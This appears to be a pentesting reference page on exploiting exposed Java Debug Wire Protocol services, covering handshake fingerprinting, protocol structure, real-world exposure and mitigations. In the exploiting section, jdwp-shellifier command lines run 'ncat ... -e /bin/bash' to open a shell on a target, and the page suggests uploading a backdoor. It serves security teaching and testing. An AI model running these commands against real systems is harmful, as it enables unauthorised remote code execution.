Pentesting JDWP - Java Debug Wire Protocol

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Exploiting

JDWP exploitation hinges on the protocol's lack of authentication and encryption. It's generally found on port 8000, but other ports are possible. The initial connection is made by sending a "JDWP-Handshake" to the target port. If a JDWP service is active, it responds with the same string, confirming its presence. This handshake acts as a fingerprinting method to identify JDWP services on the network.

In terms of process identification, searching for the string "jdwk" in Java processes can indicate an active JDWP session.

The go-to tool is jdwp-shellifier. You can use it with different parameters:

./jdwp-shellifier.py -t 192.168.2.9 -p 8000 #Obtain internal data
./jdwp-shellifier.py -t 192.168.2.9 -p 8000 --cmd 'ncat -l -p 1337 -e /bin/bash' #Exec something
./jdwp-shellifier.py -t 192.168.2.9 -p 8000 --break-on 'java.lang.String.indexOf' --cmd 'ncat -l -p 1337 -e /bin/bash' #Uses java.lang.String.indexOf as breakpoint instead of java.net.ServerSocket.accept

I found that the use of --break-on 'java.lang.String.indexOf' makes the exploit more stable. And if you have the chance to upload a backdoor to the host and execute it instead of executing a command, the exploit will be even more stable.

More details

This is a summary of https://ioactive.com/hacking-java-debug-wire-protocol-or-how/. Check it for further details.

JDWP Overview:
- It's a packet-based network binary protocol, primarily synchronous.
- Lacks authentication and encryption, making it vulnerable when exposed to hostile networks.
JDWP Handshake:
- A simple handshake process is used to initiate communication. A 14-character ASCII string “JDWP-Handshake” is exchanged between the Debugger (client) and the Debuggee (server).
JDWP Communication:
- Messages have a simple structure with fields like Length, Id, Flag, and CommandSet.
- CommandSet values range from 0x40 to 0x80, representing different actions and events.
Exploitation:
- JDWP allows loading and invoking arbitrary classes and bytecode, posing security risks.
- The article details an exploitation process in five steps, involving fetching Java Runtime references, setting breakpoints, and invoking methods.
Real-Life Exploitation:
- Despite potential firewall protections, JDWP services are discoverable and exploitable in real-world scenarios, as demonstrated by searches on platforms like ShodanHQ and GitHub.
- The exploit script was tested against various JDK versions and is platform-independent, offering reliable Remote Code Execution (RCE).
Security Implications:
- The presence of open JDWP services on the internet underscores the need for regular security reviews, disabling debug functionalities in production, and proper firewall configurations.

References: